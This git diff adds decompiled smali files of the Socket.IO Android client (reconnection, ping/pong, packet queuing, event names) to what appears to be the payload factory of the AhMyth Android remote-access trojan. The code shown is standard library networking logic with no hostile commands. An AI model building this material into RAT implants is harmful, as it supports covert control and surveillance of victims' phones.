+ sget-object v3, Lio/socket/parser/Parser$Decoder;->EVENT_DECODED:Ljava/lang/String;
+
+ new-instance v4, Lio/socket/client/Manager$7;
+
+ invoke-direct {v4, p0}, Lio/socket/client/Manager$7;->(Lio/socket/client/Manager;)V
+
+ invoke-static {v2, v3, v4}, Lio/socket/client/On;->on(Lio/socket/emitter/Emitter;Ljava/lang/String;Lio/socket/emitter/Emitter$Listener;)Lio/socket/client/On$Handle;
+
+ move-result-object v2
+
+ invoke-interface {v1, v2}, Ljava/util/Queue;->add(Ljava/lang/Object;)Z
+
+ .line 386
+ return-void
+.end method
+
+.method private onping()V
+ .locals 2
+
+ .prologue
+ .line 389
+ new-instance v0, Ljava/util/Date;
+
+ invoke-direct {v0}, Ljava/util/Date;->()V
+
+ iput-object v0, p0, Lio/socket/client/Manager;->lastPing:Ljava/util/Date;
+
+ .line 390
+ const-string v0, "ping"
+
+ const/4 v1, 0x0
+
+ new-array v1, v1, [Ljava/lang/Object;
+
+ invoke-direct {p0, v0, v1}, Lio/socket/client/Manager;->emitAll(Ljava/lang/String;[Ljava/lang/Object;)V
+
+ .line 391
+ return-void
+.end method
+
+.method private onpong()V
+ .locals 8
+
+ .prologue
+ .line 394
+ const-string v2, "pong"
+
+ const/4 v0, 0x1
+
+ new-array v3, v0, [Ljava/lang/Object;
+
+ const/4 v4, 0x0
+
+ iget-object v0, p0, Lio/socket/client/Manager;->lastPing:Ljava/util/Date;
+
+ if-eqz v0, :cond_0
+
+ new-instance v0, Ljava/util/Date;
+
+ invoke-direct {v0}, Ljava/util/Date;->()V
+
+ .line 395
+ invoke-virtual {v0}, Ljava/util/Date;->getTime()J
+
+ move-result-wide v0
+
+ iget-object v5, p0, Lio/socket/client/Manager;->lastPing:Ljava/util/Date;
+
+ invoke-virtual {v5}, Ljava/util/Date;->getTime()J
+
+ move-result-wide v6
+
+ sub-long/2addr v0, v6
+
+ :goto_0
+ invoke-static {v0, v1}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
+
+ move-result-object v0
+
+ aput-object v0, v3, v4
+
+ .line 394
+ invoke-direct {p0, v2, v3}, Lio/socket/client/Manager;->emitAll(Ljava/lang/String;[Ljava/lang/Object;)V
+
+ .line 396
+ return-void
+
+ .line 395
+ :cond_0
+ const-wide/16 v0, 0x0
+
+ goto :goto_0
+.end method
+
+.method private onreconnect()V
+ .locals 5
+
+ .prologue
+ const/4 v4, 0x0
+
+ .line 589
+ iget-object v1, p0, Lio/socket/client/Manager;->backoff:Lio/socket/backo/Backoff;
+
+ invoke-virtual {v1}, Lio/socket/backo/Backoff;->getAttempts()I
+
+ move-result v0
+
+ .line 590
+ .local v0, "attempts":I
+ iput-boolean v4, p0, Lio/socket/client/Manager;->reconnecting:Z
+
+ .line 591
+ iget-object v1, p0, Lio/socket/client/Manager;->backoff:Lio/socket/backo/Backoff;
+
+ invoke-virtual {v1}, Lio/socket/backo/Backoff;->reset()V
+
+ .line 592
+ invoke-direct {p0}, Lio/socket/client/Manager;->updateSocketIds()V
+
+ .line 593
+ const-string v1, "reconnect"
+
+ const/4 v2, 0x1
+
+ new-array v2, v2, [Ljava/lang/Object;
+
+ invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
+
+ move-result-object v3
+
+ aput-object v3, v2, v4
+
+ invoke-direct {p0, v1, v2}, Lio/socket/client/Manager;->emitAll(Ljava/lang/String;[Ljava/lang/Object;)V
+
+ .line 594
+ return-void
+.end method
+
+.method private processPacketQueue()V
+ .locals 3
+
+ .prologue
+ .line 481
+ iget-object v1, p0, Lio/socket/client/Manager;->packetBuffer:Ljava/util/List;
+
+ invoke-interface {v1}, Ljava/util/List;->isEmpty()Z
+
+ move-result v1
+
+ if-nez v1, :cond_0
+
+ iget-boolean v1, p0, Lio/socket/client/Manager;->encoding:Z
+
+ if-nez v1, :cond_0
+
+ .line 482
+ iget-object v1, p0, Lio/socket/client/Manager;->packetBuffer:Ljava/util/List;
+
+ const/4 v2, 0x0
+
+ invoke-interface {v1, v2}, Ljava/util/List;->remove(I)Ljava/lang/Object;
+
+ move-result-object v0
+
+ check-cast v0, Lio/socket/parser/Packet;
+
+ .line 483
+ .local v0, "pack":Lio/socket/parser/Packet;
+ invoke-virtual {p0, v0}, Lio/socket/client/Manager;->packet(Lio/socket/parser/Packet;)V
+
+ .line 485
+ .end local v0 # "pack":Lio/socket/parser/Packet;
+ :cond_0
+ return-void
+.end method
+
+.method private reconnect()V
+ .locals 10
+
+ .prologue
+ const/4 v9, 0x1
+
+ const/4 v8, 0x0
+
+ .line 529
+ iget-boolean v4, p0, Lio/socket/client/Manager;->reconnecting:Z
+
+ if-nez v4, :cond_0
+
+ iget-boolean v4, p0, Lio/socket/client/Manager;->skipReconnect:Z
+
+ if-eqz v4, :cond_1
+
+ .line 586
+ :cond_0
+ :goto_0
+ return-void
+
+ .line 531
+ :cond_1
+ move-object v2, p0
+
+ .line 533
+ .local v2, "self":Lio/socket/client/Manager;
+ iget-object v4, p0, Lio/socket/client/Manager;->backoff:Lio/socket/backo/Backoff;
+
+ invoke-virtual {v4}, Lio/socket/backo/Backoff;->getAttempts()I
+
+ move-result v4
+
+ iget v5, p0, Lio/socket/client/Manager;->_reconnectionAttempts:I
+
+ if-lt v4, v5, :cond_2
+
+ .line 534
+ sget-object v4, Lio/socket/client/Manager;->logger:Ljava/util/logging/Logger;
+
+ const-string v5, "reconnect failed"
+
+ invoke-virtual {v4, v5}, Ljava/util/logging/Logger;->fine(Ljava/lang/String;)V
+
+ .line 535
+ iget-object v4, p0, Lio/socket/client/Manager;->backoff:Lio/socket/backo/Backoff;
+
+ invoke-virtual {v4}, Lio/socket/backo/Backoff;->reset()V
+
+ .line 536
+ const-string v4, "reconnect_failed"
+
+ new-array v5, v8, [Ljava/lang/Object;
+
+ invoke-direct {p0, v4, v5}, Lio/socket/client/Manager;->emitAll(Ljava/lang/String;[Ljava/lang/Object;)V
+
+ .line 537
+ iput-boolean v8, p0, Lio/socket/client/Manager;->reconnecting:Z
+
+ goto :goto_0
+
+ .line 539
+ :cond_2
+ iget-object v4, p0, Lio/socket/client/Manager;->backoff:Lio/socket/backo/Backoff;
+
+ invoke-virtual {v4}, Lio/socket/backo/Backoff;->duration()J
+
+ move-result-wide v0
+
+ .line 540
+ .local v0, "delay":J
+ sget-object v4, Lio/socket/client/Manager;->logger:Ljava/util/logging/Logger;
+
+ const-string v5, "will wait %dms before reconnect attempt"
+
+ new-array v6, v9, [Ljava/lang/Object;
+
+ invoke-static {v0, v1}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
+
+ move-result-object v7
+
+ aput-object v7, v6, v8
+
+ invoke-static {v5, v6}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
+
+ move-result-object v5
+
+ invoke-virtual {v4, v5}, Ljava/util/logging/Logger;->fine(Ljava/lang/String;)V
+
+ .line 542
+ iput-boolean v9, p0, Lio/socket/client/Manager;->reconnecting:Z
+
+ .line 543
+ new-instance v3, Ljava/util/Timer;
+
+ invoke-direct {v3}, Ljava/util/Timer;->()V
+
+ .line 544
+ .local v3, "timer":Ljava/util/Timer;
+ new-instance v4, Lio/socket/client/Manager$11;
+
+ invoke-direct {v4, p0, v2}, Lio/socket/client/Manager$11;->(Lio/socket/client/Manager;Lio/socket/client/Manager;)V
+
+ invoke-virtual {v3, v4, v0, v1}, Ljava/util/Timer;->schedule(Ljava/util/TimerTask;J)V
+
+ .line 579
+ iget-object v4, p0, Lio/socket/client/Manager;->subs:Ljava/util/Queue;
+
+ new-instance v5, Lio/socket/client/Manager$12;
+
+ invoke-direct {v5, p0, v3}, Lio/socket/client/Manager$12;->(Lio/socket/client/Manager;Ljava/util/Timer;)V
+
+ invoke-interface {v4, v5}, Ljava/util/Queue;->add(Ljava/lang/Object;)Z
+
+ goto :goto_0
+.end method
+
+.method private updateSocketIds()V
+ .locals 3
+
+ .prologue
+ .line 164
+ iget-object v1, p0, Lio/socket/client/Manager;->nsps:Ljava/util/concurrent/ConcurrentHashMap;
+
+ invoke-virtual {v1}, Ljava/util/concurrent/ConcurrentHashMap;->values()Ljava/util/Collection;
+
+ move-result-object v1
+
+ invoke-interface {v1}, Ljava/util/Collection;->iterator()Ljava/util/Iterator;
+
+ move-result-object v1
+
+ :goto_0
+ invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
+
+ move-result v2
+
+ if-eqz v2, :cond_0
+
+ invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
+
+ move-result-object v0
+
+ check-cast v0, Lio/socket/client/Socket;
+
+ .line 165
+ .local v0, "socket":Lio/socket/client/Socket;
+ iget-object v2, p0, Lio/socket/client/Manager;->engine:Lio/socket/engineio/client/Socket;
+
+ invoke-virtual {v2}, Lio/socket/engineio/client/Socket;->id()Ljava/lang/String;
+
+ move-result-object v2
+
+ iput-object v2, v0, Lio/socket/client/Socket;->id:Ljava/lang/String;
+
+ goto :goto_0
+
+ .line 167
+ .end local v0 # "socket":Lio/socket/client/Socket;
+ :cond_0
+ return-void
+.end method
+
+
+# virtual methods
+.method close()V
+ .locals 2
+
+ .prologue
+ .line 501
+ sget-object v0, Lio/socket/client/Manager;->logger:Ljava/util/logging/Logger;
+
+ const-string v1, "disconnect"
+
+ invoke-virtual {v0, v1}, Ljava/util/logging/Logger;->fine(Ljava/lang/String;)V
+
+ .line 502
+ const/4 v0, 0x1
+
+ iput-boolean v0, p0, Lio/socket/client/Manager;->skipReconnect:Z
+
+ .line 503
+ const/4 v0, 0x0
+
+ iput-boolean v0, p0, Lio/socket/client/Manager;->reconnecting:Z
+
+ .line 504
+ iget-object v0, p0, Lio/socket/client/Manager;->readyState:Lio/socket/client/Manager$ReadyState;
+
+ sget-object v1, Lio/socket/client/Manager$ReadyState;->OPEN:Lio/socket/client/Manager$ReadyState;
+
+ if-eq v0, v1, :cond_0
+
+ .line 507
+ invoke-direct {p0}, Lio/socket/client/Manager;->cleanup()V
+
+ .line 509
+ :cond_0
+ iget-object v0, p0, Lio/socket/client/Manager;->backoff:Lio/socket/backo/Backoff;
+
+ invoke-virtual {v0}, Lio/socket/backo/Backoff;->reset()V
+
+ .line 510
+ sget-object v0, Lio/socket/client/Manager$ReadyState;->CLOSED:Lio/socket/client/Manager$ReadyState;
+
+ iput-object v0, p0, Lio/socket/client/Manager;->readyState:Lio/socket/client/Manager$ReadyState;
+
+ .line 511
+ iget-object v0, p0, Lio/socket/client/Manager;->engine:Lio/socket/engineio/client/Socket;
+
+ if-eqz v0, :cond_1
+
+ .line 512
+ iget-object v0, p0, Lio/socket/client/Manager;->engine:Lio/socket/engineio/client/Socket;
+
+ invoke-virtual {v0}, Lio/socket/engineio/client/Socket;->close()Lio/socket/engineio/client/Socket;
+
+ .line 514
+ :cond_1
+ return-void
+.end method
+
+.method destroy(Lio/socket/client/Socket;)V
+ .locals 1
+ .param p1, "socket" # Lio/socket/client/Socket;
+
+ .prologue
+ .line 449
+ iget-object v0, p0, Lio/socket/client/Manager;->connecting:Ljava/util/Set;
+
+ invoke-interface {v0, p1}, Ljava/util/Set;->remove(Ljava/lang/Object;)Z
+
+ .line 450
+ iget-object v0, p0, Lio/socket/client/Manager;->connecting:Ljava/util/Set;
+
+ invoke-interface {v0}, Ljava/util/Set;->isEmpty()Z
+
+ move-result v0
+
+ if-nez v0, :cond_0
+
+ .line 453
+ :goto_0
+ return-void
+
+ .line 452
+ :cond_0
+ invoke-virtual {p0}, Lio/socket/client/Manager;->close()V
+
+ goto :goto_0
+.end method
+
+.method public open()Lio/socket/client/Manager;
+ .locals 1
+
+ .prologue
+ .line 240
+ const/4 v0, 0x0
+
+ invoke-virtual {p0, v0}, Lio/socket/client/Manager;->open(Lio/socket/client/Manager$OpenCallback;)Lio/socket/client/Manager;
+
+ move-result-object v0
+
+ return-object v0
+.end method
+
+.method public open(Lio/socket/client/Manager$OpenCallback;)Lio/socket/client/Manager;
+ .locals 1
+ .param p1, "fn" # Lio/socket/client/Manager$OpenCallback;
+
+ .prologue
+ .line 250
+ new-instance v0, Lio/socket/client/Manager$1;
+
+ invoke-direct {v0, p0, p1}, Lio/socket/client/Manager$1;->(Lio/socket/client/Manager;Lio/socket/client/Manager$OpenCallback;)V
+
+ invoke-static {v0}, Lio/socket/thread/EventThread;->exec(Ljava/lang/Runnable;)V
+
+ .line 333
+ return-object p0
+.end method
+
+.method packet(Lio/socket/parser/Packet;)V
+ .locals 6
+ .param p1, "packet" # Lio/socket/parser/Packet;
+
+ .prologue
+ const/4 v5, 0x1
+
+ .line 456
+ sget-object v1, Lio/socket/client/Manager;->logger:Ljava/util/logging/Logger;
+
+ const-string v2, "writing packet %s"
+
+ new-array v3, v5, [Ljava/lang/Object;
+
+ const/4 v4, 0x0
+
+ aput-object p1, v3, v4
+
+ invoke-static {v2, v3}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
+
+ move-result-object v2
+
+ invoke-virtual {v1, v2}, Ljava/util/logging/Logger;->fine(Ljava/lang/String;)V
+
+ .line 457
+ move-object v0, p0
+
+ .line 459
+ .local v0, "self":Lio/socket/client/Manager;
+ iget-boolean v1, v0, Lio/socket/client/Manager;->encoding:Z
+
+ if-nez v1, :cond_0
+
+ .line 460
+ iput-boolean v5, v0, Lio/socket/client/Manager;->encoding:Z
+
+ .line 461
+ iget-object v1, p0, Lio/socket/client/Manager;->encoder:Lio/socket/parser/Parser$Encoder;
+
+ new-instance v2, Lio/socket/client/Manager$10;
+
+ invoke-direct {v2, p0, v0}, Lio/socket/client/Manager$10;->(Lio/socket/client/Manager;Lio/socket/client/Manager;)V
+
+ invoke-virtual {v1, p1, v2}, Lio/socket/parser/Parser$Encoder;->encode(Lio/socket/parser/Packet;Lio/socket/parser/Parser$Encoder$Callback;)V
+
+ .line 478
+ :goto_0
+ return-void
+
+ .line 476
+ :cond_0
+ iget-object v1, v0, Lio/socket/client/Manager;->packetBuffer:Ljava/util/List;
+
+ invoke-interface {v1, p1}, Ljava/util/List;->add(Ljava/lang/Object;)Z
+
+ goto :goto_0
+.end method
+
+.method public final randomizationFactor()D
+ .locals 2
+
+ .prologue
+ .line 200
+ iget-wide v0, p0, Lio/socket/client/Manager;->_randomizationFactor:D
+
+ return-wide v0
+.end method
+
+.method public randomizationFactor(D)Lio/socket/client/Manager;
+ .locals 1
+ .param p1, "v" # D
+
+ .prologue
+ .line 204
+ iput-wide p1, p0, Lio/socket/client/Manager;->_randomizationFactor:D
+
+ .line 205
+ iget-object v0, p0, Lio/socket/client/Manager;->backoff:Lio/socket/backo/Backoff;
+
+ if-eqz v0, :cond_0
+
+ .line 206
+ iget-object v0, p0, Lio/socket/client/Manager;->backoff:Lio/socket/backo/Backoff;
+
+ invoke-virtual {v0, p1, p2}, Lio/socket/backo/Backoff;->setJitter(D)Lio/socket/backo/Backoff;
+
+ .line 208
+ :cond_0
+ return-object p0
+.end method
+
+.method public reconnection(Z)Lio/socket/client/Manager;
+ .locals 0
+ .param p1, "v" # Z
+
+ .prologue
+ .line 174
+ iput-boolean p1, p0, Lio/socket/client/Manager;->_reconnection:Z
+
+ .line 175
+ return-object p0
+.end method
+
+.method public reconnection()Z
+ .locals 1
+
+ .prologue
+ .line 170
+ iget-boolean v0, p0, Lio/socket/client/Manager;->_reconnection:Z
+
+ return v0
+.end method
+
+.method public reconnectionAttempts()I
+ .locals 1
+
+ .prologue
+ .line 179
+ iget v0, p0, Lio/socket/client/Manager;->_reconnectionAttempts:I
+
+ return v0
+.end method
+
+.method public reconnectionAttempts(I)Lio/socket/client/Manager;
+ .locals 0
+ .param p1, "v" # I
+
+ .prologue
+ .line 183
+ iput p1, p0, Lio/socket/client/Manager;->_reconnectionAttempts:I
+
+ .line 184
+ return-object p0
+.end method
+
+.method public final reconnectionDelay()J
+ .locals 2
+
+ .prologue
+ .line 188
+ iget-wide v0, p0, Lio/socket/client/Manager;->_reconnectionDelay:J
+
+ return-wide v0
+.end method
+
+.method public reconnectionDelay(J)Lio/socket/client/Manager;
+ .locals 1
+ .param p1, "v" # J
+
+ .prologue
+ .line 192
+ iput-wide p1, p0, Lio/socket/client/Manager;->_reconnectionDelay:J
+
+ .line 193
+ iget-object v0, p0, Lio/socket/client/Manager;->backoff:Lio/socket/backo/Backoff;
+
+ if-eqz v0, :cond_0
+
+ .line 194
+ iget-object v0, p0, Lio/socket/client/Manager;->backoff:Lio/socket/backo/Backoff;
+
+ invoke-virtual {v0, p1, p2}, Lio/socket/backo/Backoff;->setMin(J)Lio/socket/backo/Backoff;
+
+ .line 196
+ :cond_0
+ return-object p0
+.end method
+
+.method public final reconnectionDelayMax()J
+ .locals 2
+
+ .prologue
+ .line 212
+ iget-wide v0, p0, Lio/socket/client/Manager;->_reconnectionDelayMax:J
+
+ return-wide v0
+.end method
+
+.method public reconnectionDelayMax(J)Lio/socket/client/Manager;
+ .locals 1
+ .param p1, "v" # J
+
+ .prologue
+ .line 216
+ iput-wide p1, p0, Lio/socket/client/Manager;->_reconnectionDelayMax:J
+
+ .line 217
+ iget-object v0, p0, Lio/socket/client/Manager;->backoff:Lio/socket/backo/Backoff;
+
+ if-eqz v0, :cond_0
+
+ .line 218
+ iget-object v0, p0, Lio/socket/client/Manager;->backoff:Lio/socket/backo/Backoff;
+
+ invoke-virtual {v0, p1, p2}, Lio/socket/backo/Backoff;->setMax(J)Lio/socket/backo/Backoff;
+
+ .line 220
+ :cond_0
+ return-object p0
+.end method
+
+.method public socket(Ljava/lang/String;)Lio/socket/client/Socket;
+ .locals 6
+ .param p1, "nsp" # Ljava/lang/String;
+
+ .prologue
+ .line 422
+ iget-object v4, p0, Lio/socket/client/Manager;->nsps:Ljava/util/concurrent/ConcurrentHashMap;
+
+ invoke-virtual {v4, p1}, Ljava/util/concurrent/ConcurrentHashMap;->get(Ljava/lang/Object;)Ljava/lang/Object;
+
+ move-result-object v3
+
+ check-cast v3, Lio/socket/client/Socket;
+
+ .line 423
+ .local v3, "socket":Lio/socket/client/Socket;
+ if-nez v3, :cond_0
+
+ .line 424
+ new-instance v3, Lio/socket/client/Socket;
+
+ .end local v3 # "socket":Lio/socket/client/Socket;
+ invoke-direct {v3, p0, p1}, Lio/socket/client/Socket;->(Lio/socket/client/Manager;Ljava/lang/String;)V
+
+ .line 425
+ .restart local v3 # "socket":Lio/socket/client/Socket;
+ iget-object v4, p0, Lio/socket/client/Manager;->nsps:Ljava/util/concurrent/ConcurrentHashMap;
+
+ invoke-virtual {v4, p1, v3}, Ljava/util/concurrent/ConcurrentHashMap;->putIfAbsent(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
+
+ move-result-object v0
+
+ check-cast v0, Lio/socket/client/Socket;
+
+ .line 426
+ .local v0, "_socket":Lio/socket/client/Socket;
+ if-eqz v0, :cond_1
+
+ .line 427
+ move-object v3, v0
+
+ .line 445
+ .end local v0 # "_socket":Lio/socket/client/Socket;
+ :cond_0
+ :goto_0
+ return-object v3
+
+ .line 429
+ .restart local v0 # "_socket":Lio/socket/client/Socket;
+ :cond_1
+ move-object v2, p0
+
+ .line 430
+ .local v2, "self":Lio/socket/client/Manager;
+ move-object v1, v3
+
+ .line 431
+ .local v1, "s":Lio/socket/client/Socket;
+ const-string v4, "connecting"
+
+ new-instance v5, Lio/socket/client/Manager$8;
+
+ invoke-direct {v5, p0, v2, v1}, Lio/socket/client/Manager$8;->(Lio/socket/client/Manager;Lio/socket/client/Manager;Lio/socket/client/Socket;)V
+
+ invoke-virtual {v3, v4, v5}, Lio/socket/client/Socket;->on(Ljava/lang/String;Lio/socket/emitter/Emitter$Listener;)Lio/socket/emitter/Emitter;
+
+ .line 437
+ const-string v4, "connect"
+
+ new-instance v5, Lio/socket/client/Manager$9;
+
+ invoke-direct {v5, p0, v1, v2}, Lio/socket/client/Manager$9;->(Lio/socket/client/Manager;Lio/socket/client/Socket;Lio/socket/client/Manager;)V
+
+ invoke-virtual {v3, v4, v5}, Lio/socket/client/Socket;->on(Ljava/lang/String;Lio/socket/emitter/Emitter$Listener;)Lio/socket/emitter/Emitter;
+
+ goto :goto_0
+.end method
+
+.method public timeout()J
+ .locals 2
+
+ .prologue
+ .line 224
+ iget-wide v0, p0, Lio/socket/client/Manager;->_timeout:J
+
+ return-wide v0
+.end method
+
+.method public timeout(J)Lio/socket/client/Manager;
+ .locals 1
+ .param p1, "v" # J
+
+ .prologue
+ .line 228
+ iput-wide p1, p0, Lio/socket/client/Manager;->_timeout:J
+
+ .line 229
+ return-object p0
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/On$1.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/On$1.smali
new file mode 100644
index 00000000..2a4ef9a0
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/On$1.smali
@@ -0,0 +1,62 @@
+.class final Lio/socket/client/On$1;
+.super Ljava/lang/Object;
+.source "On.java"
+
+# interfaces
+.implements Lio/socket/client/On$Handle;
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lio/socket/client/On;->on(Lio/socket/emitter/Emitter;Ljava/lang/String;Lio/socket/emitter/Emitter$Listener;)Lio/socket/client/On$Handle;
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x8
+ name = null
+.end annotation
+
+
+# instance fields
+.field final synthetic val$ev:Ljava/lang/String;
+
+.field final synthetic val$fn:Lio/socket/emitter/Emitter$Listener;
+
+.field final synthetic val$obj:Lio/socket/emitter/Emitter;
+
+
+# direct methods
+.method constructor (Lio/socket/emitter/Emitter;Ljava/lang/String;Lio/socket/emitter/Emitter$Listener;)V
+ .locals 0
+
+ .prologue
+ .line 11
+ iput-object p1, p0, Lio/socket/client/On$1;->val$obj:Lio/socket/emitter/Emitter;
+
+ iput-object p2, p0, Lio/socket/client/On$1;->val$ev:Ljava/lang/String;
+
+ iput-object p3, p0, Lio/socket/client/On$1;->val$fn:Lio/socket/emitter/Emitter$Listener;
+
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public destroy()V
+ .locals 3
+
+ .prologue
+ .line 14
+ iget-object v0, p0, Lio/socket/client/On$1;->val$obj:Lio/socket/emitter/Emitter;
+
+ iget-object v1, p0, Lio/socket/client/On$1;->val$ev:Ljava/lang/String;
+
+ iget-object v2, p0, Lio/socket/client/On$1;->val$fn:Lio/socket/emitter/Emitter$Listener;
+
+ invoke-virtual {v0, v1, v2}, Lio/socket/emitter/Emitter;->off(Ljava/lang/String;Lio/socket/emitter/Emitter$Listener;)Lio/socket/emitter/Emitter;
+
+ .line 15
+ return-void
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/On$Handle.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/On$Handle.smali
new file mode 100644
index 00000000..f8f6dd2a
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/On$Handle.smali
@@ -0,0 +1,19 @@
+.class public interface abstract Lio/socket/client/On$Handle;
+.super Ljava/lang/Object;
+.source "On.java"
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingClass;
+ value = Lio/socket/client/On;
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x609
+ name = "Handle"
+.end annotation
+
+
+# virtual methods
+.method public abstract destroy()V
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/On.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/On.smali
new file mode 100644
index 00000000..94c6a2f6
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/On.smali
@@ -0,0 +1,41 @@
+.class public Lio/socket/client/On;
+.super Ljava/lang/Object;
+.source "On.java"
+
+
+# annotations
+.annotation system Ldalvik/annotation/MemberClasses;
+ value = {
+ Lio/socket/client/On$Handle;
+ }
+.end annotation
+
+
+# direct methods
+.method private constructor ()V
+ .locals 0
+
+ .prologue
+ .line 7
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+.method public static on(Lio/socket/emitter/Emitter;Ljava/lang/String;Lio/socket/emitter/Emitter$Listener;)Lio/socket/client/On$Handle;
+ .locals 1
+ .param p0, "obj" # Lio/socket/emitter/Emitter;
+ .param p1, "ev" # Ljava/lang/String;
+ .param p2, "fn" # Lio/socket/emitter/Emitter$Listener;
+
+ .prologue
+ .line 10
+ invoke-virtual {p0, p1, p2}, Lio/socket/emitter/Emitter;->on(Ljava/lang/String;Lio/socket/emitter/Emitter$Listener;)Lio/socket/emitter/Emitter;
+
+ .line 11
+ new-instance v0, Lio/socket/client/On$1;
+
+ invoke-direct {v0, p0, p1, p2}, Lio/socket/client/On$1;->(Lio/socket/emitter/Emitter;Ljava/lang/String;Lio/socket/emitter/Emitter$Listener;)V
+
+ return-object v0
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Socket$1.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Socket$1.smali
new file mode 100644
index 00000000..d70a722f
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/client/Socket$1.smali
@@ -0,0 +1,156 @@
+.class final Lio/socket/client/Socket$1;
+.super Ljava/util/HashMap;
+.source "Socket.java"
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingClass;
+ value = Lio/socket/client/Socket;
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x8
+ name = null
+.end annotation
+
+.annotation system Ldalvik/annotation/Signature;
+ value = {
+ "Ljava/util/HashMap",
+ "<",
+ "Ljava/lang/String;",
+ "Ljava/lang/Integer;",
+ ">;"
+ }
+.end annotation
+
+
+# direct methods
+.method constructor ()V
+ .locals 3
+
+ .prologue
+ const/4 v2, 0x1
+
+ .line 65
+ invoke-direct {p0}, Ljava/util/HashMap;->()V
+
+ .line 66
+ const-string v0, "connect"
+
+ invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
+
+ move-result-object v1
+
+ invoke-virtual {p0, v0, v1}, Lio/socket/client/Socket$1;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
+
+ .line 67
+ const-string v0, "connect_error"
+
+ invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
+
+ move-result-object v1
+
+ invoke-virtual {p0, v0, v1}, Lio/socket/client/Socket$1;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
+
+ .line 68
+ const-string v0, "connect_timeout"
+
+ invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
+
+ move-result-object v1
+
+ invoke-virtual {p0, v0, v1}, Lio/socket/client/Socket$1;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
+
+ .line 69
+ const-string v0, "connecting"
+
+ invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
+
+ move-result-object v1
+
+ invoke-virtual {p0, v0, v1}, Lio/socket/client/Socket$1;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
+
+ .line 70
+ const-string v0, "disconnect"
+
+ invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
+
+ move-result-object v1
+
+ invoke-virtual {p0, v0, v1}, Lio/socket/client/Socket$1;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
+
+ .line 71
+ const-string v0, "error"
+
+ invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
+
+ move-result-object v1
+
+ invoke-virtual {p0, v0, v1}, Lio/socket/client/Socket$1;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
+
+ .line 72
+ const-string v0, "reconnect"
+
+ invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
+
+ move-result-object v1
+
+ invoke-virtual {p0, v0, v1}, Lio/socket/client/Socket$1;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
+
+ .line 73
+ const-string v0, "reconnect_attempt"
+
+ invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
+
+ move-result-object v1
+
+ invoke-virtual {p0, v0, v1}, Lio/socket/client/Socket$1;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
+
+ .line 74
+ const-string v0, "reconnect_failed"
+
+ invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
+
+ move-result-object v1
+
+ invoke-virtual {p0, v0, v1}, Lio/socket/client/Socket$1;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
+
+ .line 75
+ const-string v0, "reconnect_error"
+
+ invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
+
+ move-result-object v1
+
+ invoke-virtual {p0, v0, v1}, Lio/socket/client/Socket$1;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
+
+ .line 76
+ const-string v0, "reconnecting"
+
